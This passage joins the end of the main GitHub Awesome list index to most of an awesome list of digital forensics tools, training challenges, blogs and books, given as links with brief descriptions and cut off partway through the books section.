- Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Digital Humanities](https://github.com/dh-tech/awesome-digital-humanities#readme) - Software for humanities scholars using quantitative or computational methods. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Testing - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem. - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [k6](https://github.com/grafana/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution. - [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API. - [Quality Assurance Roadmap](https://github.com/fityanos/awesome-quality-assurance-roadmap#readme) - How to start & build a career in software testing. - [Gatling](https://github.com/aliesbelik/awesome-gatling#readme) - Open-source load and performance testing framework based on Scala, Akka, and Netty. ## Miscellaneous - [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks. - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/0xnr/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [GitHub Wiki](https://github.com/MyHoneyBadger/awesome-github-wiki#readme) - Comprehensive documentation on GitHub beyond README. - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Urban & Regional Planning](https://github.com/APA-Technology-Division/urban-and-regional-planning-resources#readme) - Concerning the built environment and communities. - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/javierluraschi/awesome-dataviz#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/bvolpato/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/brycejohnston/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Product Design](https://github.com/ttt30ga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations. - [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress. - [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes. - [Ansible](https://github.com/ansible-community/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform. - [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web. - [QR Code](https://github.com/make-github-pseudonymous-again/awesome-qr-code#readme) - A type of matrix barcode that can be used to store and share a small amount of information. - [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible. - [Translations](https://github.com/mbiesiad/awesome-translations#readme) - The transfer of the meaning of a text from one language to another. - [Scriptable](https://github.com/dersvenhesse/awesome-scriptable#readme) - An iOS app for automations in JavaScript. - [WebXR](https://github.com/msub2/awesome-webxr#readme) - Enables immersive virtual reality and augmented reality content on the web. - [Computational Geometry](https://github.com/atkirtland/awesome-computational-geometry#readme) - Computational approaches for problems in geometry. - [OpenStreetMap](https://github.com/osmlab/awesome-openstreetmap#readme) - An open data mapping project utilized by many apps and devices. - [Computational Biology](https://github.com/inoue0426/awesome-computational-biology#readme) - Computational approaches applied to problems in biology. - [Read the Docs](https://github.com/readthedocs-examples/awesome-read-the-docs#readme) - Example documentation projects to inspire and help bootstrap new documentation projects. - [Quarto](https://github.com/mcanouil/awesome-quarto#readme) - Scientific and technical open-source publishing system built on Pandoc. - [ChatGPT](https://github.com/sindresorhus/awesome-chatgpt#readme) - Artificial intelligence chatbot developed by OpenAI. - [Whisper](https://github.com/sindresorhus/awesome-whisper#readme) - Open-source AI-powered speech recognition system developed by OpenAI. ## Related - [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. - [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension. - [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists. - [Awesome Viewer](https://awesome.digitalbunker.dev) - A visualizer for all of the above Awesome lists. - [Track Awesome List](https://www.trackawesomelist.com) - View the latest updates of Awesome lists.

 # Forensics Tools A list of free and open source forensics analysis tools and other resources. - [Forensics Tools](#forensics-tools) - [Collections](#collections) - [Tools](#tools) - [Distributions](#distributions) - [Frameworks](#frameworks) - [Live forensics](#live-forensics) - [Acquisition](#acquisition) - [Imageing](#imageing) - [Carving](#carving) - [Memory Forensics](#memory-forensics) - [Network Forensics](#network-forensics) - [Windows Artifacts](#windows-artifacts) - [NTFS/MFT Processing](#ntfsmft-processing) - [OS X Forensics](#os-x-forensics) - [Mobile Forensics](#mobile-forensics) - [Docker Forensics](#docker-forensics) - [Browser Artifacts](#browser-artifacts) - [Timeline Analysis](#timeline-analysis) - [Disk image handling](#disk-image-handling) - [Decryption](#decryption) - [Management](#management) - [Picture Analysis](#picture-analysis) - [Steganography](#steganography) - [Metadata Forensics](#metadata-forensics) - [Website Forensics](#website-forensics) - [Learn Forensics](#learn-forensics) - [CTFs](#challenges) - [Resources](#resources) - [Books](#books) - [File System Corpora](#file-system-corpora) - [Twitter](#twitter) - [Blogs](#blogs) - [Other](#other) - [Related Awesome Lists](#related-awesome-lists) ## Collections - [DFIR – The definitive compendium project](https://aboutdfir.com) - Collection of forensic resources for learning and research. Offers lists of certifications, books, blogs, challenges and more - [DFIR-SQL-Query-Repo](https://github.com/abrignoni/DFIR-SQL-Query-Repo) - Collection of SQL queries templates for digital forensics use by platform and application. - [dfir.training](https://www.dfir.training/) - Database of forensic resources focused on events, tools and more - :star: [ForensicArtifacts.com Artifact Repository](https://github.com/ForensicArtifacts/artifacts) - Machine-readable knowledge base of forensic artifacts ## Tools - [Forensics tools on Wikipedia](https://en.wikipedia.org/wiki/List_of_digital_forensics_tools) - [Eric Zimmerman's Tools](https://ericzimmerman.github.io/#!index.md) ### Distributions - [bitscout](https://github.com/vitaly-kamluk/bitscout) - LiveCD/LiveUSB for remote forensic acquisition and analysis - [CAINE](https://www.caine-live.net/) - [GRML-Forensic](https://grml-forensic.org/) - [Remnux](https://remnux.org/) - Distro for reverse-engineering and analyzing malicious software - :star:[SANS Investigative Forensics Toolkit (sift)](https://github.com/teamdfir/sift) - Linux distribution for forensic analysis - [Santoku Linux](https://santoku-linux.com/) - Santoku is dedicated to mobile forensics, analysis, and security, and packaged in an easy to use, Open Source platform. - [Sumuri Paladin](https://sumuri.com/software/paladin/) - Linux distribution that simplifies various forensics tasks in a forensically sound manner via the PALADIN Toolbox - [Tsurugi Linux](https://tsurugi-linux.org/) - Linux distribution for forensic analysis - [WinFE](https://www.winfe.net/home) - Windows Forensics enviroment ### Frameworks - :star:[Autopsy](http://www.sleuthkit.org/autopsy/) - SleuthKit GUI - [dff](https://github.com/arxsys/dff) - Forensic framework - [dexter](https://github.com/coinbase/dexter) - Dexter is a forensics acquisition framework designed to be extensible and secure - [IntelMQ](https://github.com/certtools/intelmq) - IntelMQ collects and processes security feeds - [Kuiper](https://github.com/DFIRKuiper/Kuiper) - Digital Investigation Platform - [Laika BOSS](https://github.com/lmco/laikaboss) - Laika is an object scanner and intrusion detection system - [RegRippy](https://github.com/airbus-cert/regrippy) - is a framework for reading and extracting useful forensics data from Windows registry hives. - [PowerForensics](https://github.com/Invoke-IR/PowerForensics) - PowerForensics is a framework for live disk forensic analysis - :star: [The Sleuth Kit](https://github.com/sleuthkit/sleuthkit) - Tools for low level forensic analysis - [turbinia](https://github.com/google/turbinia) - Turbinia is an open-source framework for deploying, managing, and running forensic workloads on cloud platforms - [IPED - Indexador e Processador de Evidências Digitais](https://github.com/sepinf-inc/IPED) - Brazilian Federal Police Tool for Forensic Investigations ### Live forensics - [grr](https://github.com/google/grr) - GRR Rapid Response: remote live forensics for incident response - [Linux Expl0rer](https://github.com/intezer/linux-explorer) - Easy-to-use live forensics toolbox for Linux endpoints written in Python & Flask - [mig](https://github.com/mozilla/mig) - Distributed & real time digital forensics at the speed of the cloud - [osquery](https://github.com/osquery/osquery) - SQL powered operating system analytics ### Acquisition - [artifactcollector](https://github.com/forensicanalysis/artifactcollector) - A customizable agent to collect forensic artifacts on any Windows, macOS or Linux system - [ArtifactExtractor](https://github.com/Silv3rHorn/ArtifactExtractor) - Extract common Windows artifacts from source images and VSCs - [AVML](https://github.com/microsoft/avml) - A portable volatile memory acquisition tool for Linux - [DFIR ORC](https://dfir-orc.github.io/) - Forensics artefact collection tool for systems running Microsoft Windows - [DumpIt](https://www.comae.com/dumpit/) - - [FastIR Collector](https://github.com/SekoiaLab/Fastir_Collector) - Collect artifacts on windows - [FireEye Memoryze](https://www.fireeye.com/services/freeware/memoryze.html) - [LiME](https://github.com/504ensicsLabs/LiME) - Loadable Kernel Module (LKM), which allows the acquisition of volatile memory from Linux and Linux-based devices, formerly called DMD - [Magnet RAM Capture](https://www.magnetforensics.com/resources/magnet-ram-capture/) - is a free imaging tool designed to capture the physical memory - :star:[RAM Capturer](https://belkasoft.com/ram-capturer) - by Belkasoft is a free tool to dump the data from a computer’s volatile memory. It’s compatible with Windows OS. - [Velociraptor](https://github.com/Velocidex/velociraptor) - Velociraptor is a tool for collecting host based state information using Velocidex Query Language (VQL) queries ### Imageing - :star:[BelkaImager](https://belkasoft.com/es/bat) - by Belkasoft allows you to create images of hard and removable disks, Android and iOS devices and download data from the cloud. - [dc3dd](https://sourceforge.net/projects/dc3dd/) - Improved version of dd - [dcfldd](http://dcfldd.sourceforge.net) - Different improved version of dd (this version has some bugs!, another version is on github [adulau/dcfldd](https://github.com/adulau/dcfldd)) - [FTK Imager](https://accessdata.com/product-download/ftk-imager-version-3-4-3/) - Free imageing tool for windows - :star:[Guymager](https://guymager.sourceforge.io/) - Open source version for disk imageing on linux systems ### Carving - [bstrings](https://github.com/EricZimmerman/bstrings) - Improved strings utility - [bulk_extractor](https://github.com/simsong/bulk_extractor) - Extracts informations like email adresses, creditscard numbers and histrograms of disk images - [floss](https://github.com/fireeye/flare-floss) - Static analysis tool to automatically deobfuscate strings from malware binaries - :star: [photorec](https://www.cgsecurity.org/wiki/PhotoRec) - File carving tool - [swap_digger](https://github.com/sevagas/swap_digger) - A bash script used to automate Linux swap analysis, automating swap extraction and searches for Linux user credentials, Web form credentials, Web form emails, etc. ### Memory Forensics - [FireEye RedLine](https://www.fireeye.com/services/freeware/redline.html) - provides host investigative capabilities to users to find signs of malicious activity through memory and file analysis and the development of a threat assessment profile. - [inVtero.net](https://github.com/ShaneK2/inVtero.net) - High speed memory analysis framework developed in .NET supports all Windows x64, includes code integrity and write support - [KeeFarce](https://github.com/denandz/KeeFarce) - Extract KeePass passwords from memory - [MemProcFS](https://github.com/ufrisk/MemProcFS) - An easy and convenient way of accessing physical memory as files a virtual file system. - [Rekall](https://github.com/google/rekall) - Memory Forensic Framework - :star:[volatility](https://github.com/volatilityfoundation/volatility) - The memory forensic framework - [VolUtility](https://github.com/kevthehermit/VolUtility) - Web App for Volatility framework ### Network Forensics - [NetworkMiner](https://www.netresec.com/?page=Networkminer) - [Xplico](https://www.xplico.org/) - :star:[WireShark](https://www.wireshark.org/) ### Windows Artifacts - [Beagle](https://github.com/yampelo/beagle) - Transform data sources and logs into graphs - [CrowdResponse](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) - by CrowdStrike is a static host data collection tool - [FRED](https://www.pinguin.lu/fred) - Cross-platform microsoft registry hive editor - [LastActivityView](https://www.nirsoft.net/utils/computer_activity_view.html) - LastActivityView by Nirsoftis a tool for Windows operating system that collects information from various sources on a running system, and displays a log of actions made by the user and events occurred on this computer. - [LogonTracer](https://github.com/JPCERTCC/LogonTracer) - Investigate malicious Windows logon by visualizing and analyzing Windows event log - [python-evt](https://github.com/williballenthin/python-evt) - Pure Python parser for classic Windows Event Log files (.evt) - [RegRipper3.0](https://github.com/keydet89/RegRipper3.0) - RegRipper is an open source Perl tool for parsing the Registry and presenting it for analysis. #### NTFS/MFT Processing - [MFT-Parsers](http://az4n6.blogspot.com/2015/09/whos-your-master-mft-parsers-reviewed.html) - Comparison of MFT-Parsers - [MFTExtractor](https://github.com/aarsakian/MFTExtractor) - MFT-Parser - [NTFS journal parser](http://strozfriedberg.github.io/ntfs-linker/) - [NTFS USN Journal parser](https://github.com/PoorBillionaire/USN-Journal-Parser) - [RecuperaBit](https://github.com/Lazza/RecuperaBit) - Reconstruct and recover NTFS data - [python-ntfs](https://github.com/williballenthin/python-ntfs) - NTFS analysis ### OS X Forensics - [APFS Fuse](https://github.com/sgan81/apfs-fuse) - is a read-only FUSE driver for the new Apple File System - [APOLLO](https://github.com/mac4n6/APOLLO) - [Disk-Arbitrator](https://github.com/aburgh/Disk-Arbitrator) - is a Mac OS X forensic utility designed to help the user ensure correct forensic procedures are followed during imaging of a disk device - [MAC OSX Artifacts](https://docs.google.com/spreadsheets/d/1X2Hu0NE2ptdRj023OVWIGp5dqZOw-CfxHLOW_GNGpX8/edit#gid=1317205466) - locations artifacts by mac4n6 group - [mac_apt (macOS Artifact Parsing Tool)](https://github.com/ydkhatri/mac_apt) - Extracts forensic artifacts from disk images or live machines - [MacLocationsScraper](https://github.com/mac4n6/Mac-Locations-Scraper) - Dump the contents of the location database files on iOS and macOS. - [macMRUParser](https://github.com/mac4n6/macMRU-Parser) - Python script to parse the Most Recently Used (MRU) plist files on macOS into a more human friendly format. - [OSXAuditor](https://github.com/jipegit/OSXAuditor) - [OSX Collect](https://github.com/Yelp/osxcollector) ### Mobile Forensics - [Andriller](https://github.com/den4uk/andriller) - is software utility with a collection of forensic tools for smartphones. It performs read-only, forensically sound, non-destructive acquisition from Android devices - [ALEAPP](https://github.com/abrignoni/ALEAPP) - An Android Logs Events and Protobuf Parser - [iOS Frequent Locations Dumper](https://github.com/mac4n6/iOS-Frequent-Locations-Dumper) - Dump the contents of the StateModel#.archive files located in /private/var/mobile/Library/Caches/com.apple.routined/ - [MEAT](https://github.com/jfarley248/MEAT) - Perform different kinds of acquisitions on iOS devices - [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) - is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. - [OpenBackupExtractor](https://github.com/vgmoose/OpenBackupExtractor) - is an app for extracting data from iPhone and iPad backups. ### Docker Forensics - [dof (Docker Forensics Toolkit)](https://github.com/docker-forensics-toolkit/toolkit) - Extracts and interprets forensic artifacts from disk images of Docker Host systems - [Docker Explorer](https://github.com/google/docker-explorer) Extracts and interprets forensic artifacts from disk images of Docker Host systems ### Browser Artifacts - [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) - by Nirsoft is a small utility that reads the cache folder of Google Chrome Web browser, and displays the list of all files currently stored in the cache - [chrome-url-dumper](https://github.com/eLoopWoo/chrome-url-dumper) - Dump all local stored infromation collected by Chrome - [Dumpzilla](http://www.dumpzilla.org/) - extract all forensic interesting information of Firefox, Iceweasel and Seamonkey browsers - [hindsight](https://github.com/obsidianforensics/hindsight) - Internet history forensics for Google Chrome/Chromium - [unfurl](https://github.com/obsidianforensics/unfurl) - Extract and visualize data from URLs ### Timeline Analysis - [DFTimewolf](https://github.com/log2timeline/dftimewolf) - Framework for orchestrating forensic collection, processing and data export using GRR and Rekall - :star: [plaso](https://github.com/log2timeline/plaso) - Extract timestamps from various files and aggregate them - [timeliner](https://github.com/airbus-cert/timeliner) - A rewrite of mactime, a bodyfile reader - [timesketch](https://github.com/google/timesketch) - Collaborative forensic timeline analysis ### Disk image handling - [Disk Arbitrator](https://github.com/aburgh/Disk-Arbitrator) - A Mac OS X forensic utility designed to help the user ensure correct forensic procedures are followed during imaging of a disk device - [imagemounter](https://github.com/ralphje/imagemounter) - Command line utility and Python package to ease the (un)mounting of forensic disk images - [libewf](https://github.com/libyal/libewf) - Libewf is a library and some tools to access the Expert Witness Compression Format (EWF, E01) - [OSFMount](https://www.osforensics.com/tools/mount-disk-images.html) - allows you to mount local disk image files (bit-for-bit copies of an entire disk or disk partition) in Windows as a physical disk or a logical drive - [PancakeViewer](https://github.com/forensicmatt/PancakeViewer) - Disk image viewer based in dfvfs, similar to the FTK Imager viewer. - [xmount](https://www.pinguin.lu/xmount) - Convert between different disk image formats ### Decryption - [hashcat](https://hashcat.net/hashcat/) - Fast password cracker with GPU support - [John the Ripper](https://www.openwall.com/john/) - Password cracker ### Management - [dfirtrack](https://github.com/stuhli/dfirtrack) - Digital Forensics and Incident Response Tracking application, track systems - [Incidents](https://github.com/veeral-patel/incidents) - Web application for organizing non-trivial security investigations. Built on the idea that incidents are trees of tickets, where some tickets are leads ### Picture Analysis - [Ghiro](http://www.getghiro.org/) - is a fully automated tool designed to run forensics analysis over a massive amount of images - [sherloq](https://github.com/GuidoBartoli/sherloq) - An open-source digital photographic image forensic toolset ### Steganography - [Binwalk](https://github.com/ReFirmLabs/binwalk) - Binwalk is a fast, easy to use tool for analyzing, reverse engineering, and extracting firmware images. - [Foremost](https://github.com/korczis/foremost) - is a program to recover files based on their headers and footers - [Sonicvisualizer](https://www.sonicvisualiser.org) - [Steghide](https://github.com/StefanoDeVuono/steghide) - is a steganography program that hides data in various kinds of image and audio files - [Stegsolve](http://www.caesum.com/handbook/Stegsolve.jar) - analyze images in different planes by taking off bits of the image - [Wavsteg](https://github.com/samolds/wavsteg) - is a steganography program that hides data in various kinds of image and audio files - [Zsteg](https://github.com/zed-0xff/zsteg) - A steganographic coder for WAV files - [Audacity](https://www.audacityteam.org) - an easy-to-use, multi-track audio editor and recorder ### Metadata Forensics - [ExifTool](https://exiftool.org/) by Phil Harvey - [Exiv2](https://www.exiv2.org) - Exiv2 is a Cross-platform C++ library and a command line utility to manage image metadata - [FOCA](https://github.com/ElevenPaths/FOCA) - FOCA is a tool used mainly to find metadata and hidden information in the documents ### Website Forensics ## Learn forensics - [Forensic challenges](https://www.amanhardikar.com/mindmaps/ForensicChallenges.html) - Mindmap of forensic challenges - [OpenLearn](https://www.open.edu/openlearn/science-maths-technology/digital-forensics/content-section-0?active-tab=description-tab) - Digital forensic course - [Training material](https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material/technical-operational) - Online training material by European Union Agency for Network and Information Security for different topics (e.g. [Digital forensics](https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material/technical-operational/#digital_forensics), [Network forensics](https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material/technical-operational/#network_forensics)) ### Challenges - [AnalystUnknown Cyber Range](https://aucr.io/auth/login?next=%2F) - [Champlain College DFIR CTF](https://champdfa-ccsc-sp20.ctfd.io) - [Corelight CTF](https://www3.corelight.com/l/420832/2020-03-31/lcxk2q) - [CyberDefenders](https://cyberdefenders.org) - [DefCon CTFs](https://archive.ooo) - archive of DEF CON CTF challenges. - [Forensics CTFs](https://github.com/apsdehal/awesome-ctf/blob/master/README.md#forensics) - [IncidentResponse Challenge](https://incident-response-challenge.com) - [MagnetForensics CTF Challenge](https://www.magnetforensics.com/blog/magnet-weekly-ctf-challenge) - [MalwareTech Challenges](https://www.malwaretech.com/challenges) - [MalwareTraffic Analysis](https://www.malware-traffic-analysis.net/training-exercises.html) - [MemLabs](https://github.com/stuxnet999/MemLabs) - [NW3C Chanllenges](https://nw3.ctfd.io) - [PivotProject](https://pivotproject.org/challenges/digital-forensics-challenge) - [Precision Widgets of North Dakota Intrusion](https://betweentwodfirns.blogspot.com/2017/11/dfir-ctf-precision-widgets-of-north.html) - [ReverseEngineering Challenges](https://challenges.re) - [SANS Forensics Challenges](https://digital-forensics.sans.org/community/challenges) ## Resources ### Webs - [ForensicsFocus](https://www.forensicfocus.com/) - [InsecInstitute Resources](https://resources.infosecinstitute.com/) - [SANS Digital Forensics](https://digital-forensics.sans.org/) ### Blogs - [Cyberforensics](https://cyberforensics.com/blog/) - [Cyberforensicator](https://cyberforensicator.com/) - [DigitalForensicsMagazine](https://digitalforensicsmagazine.com/blogs/) - [FlashbackData](https://www.flashbackdata.com/blog/) - [Netresec](https://www.netresec.com/index.ashx?page=Blog) - [roDigitalForensics](https://prodigital4n6.com/blog/) - [SANS Forensics Blog](https://www.sans.org/blog/?focus-area=digital-forensics) - [SecurityAffairs](https://securityaffairs.co/wordpress/) - blog by Pierluigi Paganini - [thisweekin4n6.wordpress.com](thisweekin4n6.wordpress.com) - Weekly updates for forensics - [Zena Forensics](https://blog.digital-forensics.it/) ### Books *more at [Recommended Readings](http://dfir.org/?q=node/8) by Andrew Case* - [Network Forensics: Tracking Hackers through Cyberspace](https://www.pearson.com/us/higher-education/program/Davidoff-Network-Forensics-Tracking-Hackers-through-Cyberspace/PGM322390.html) - Learn to recognize hackers’ tracks and uncover network-based evidence - [The Art of Memory Forensics](https://www.memoryanalysis.net/amf) - Detecting Malware and Threats in Windows, Linux, and 